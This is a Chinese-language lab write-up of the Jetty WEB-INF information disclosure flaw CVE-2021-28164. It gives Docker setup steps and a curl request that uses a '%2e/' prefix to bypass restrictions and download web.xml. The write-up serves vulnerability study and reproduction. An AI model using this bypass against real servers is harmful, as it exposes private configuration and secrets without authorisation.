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# Jetty WEB-INF 敏感信息泄露漏洞CVE-2021-28164
Eclipse Jetty是一个开源的servlet容器它为基于Java的Web容器提供运行环境。
Jetty 9.4.37引入对RFC3986的新实现而URL编码的`.`字符被排除在URI规范之外这个行为在RFC中是正确的但在servlet的实现中导致攻击者可以通过`%2e`来绕过限制下载WEB-INF目录下的任意文件导致敏感信息泄露。该漏洞在9.4.39中修复。
参考链接:
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
- https://xz.aliyun.com/t/10039
## 漏洞环境
执行如下命令启动一个Jetty 9.4.37
```
docker compose up -d
```
服务启动后,访问`http://your-ip:8080`可以查看到一个example页面。
## 漏洞复现
直接访问`/WEB-INF/web.xml`将会返回404页面
![](1.png)
使用`%2e/`来绕过限制下载web.xml
```
curl -v 'http://192.168.1.162:8080/%2e/WEB-INF/web.xml'
```
![](2.png)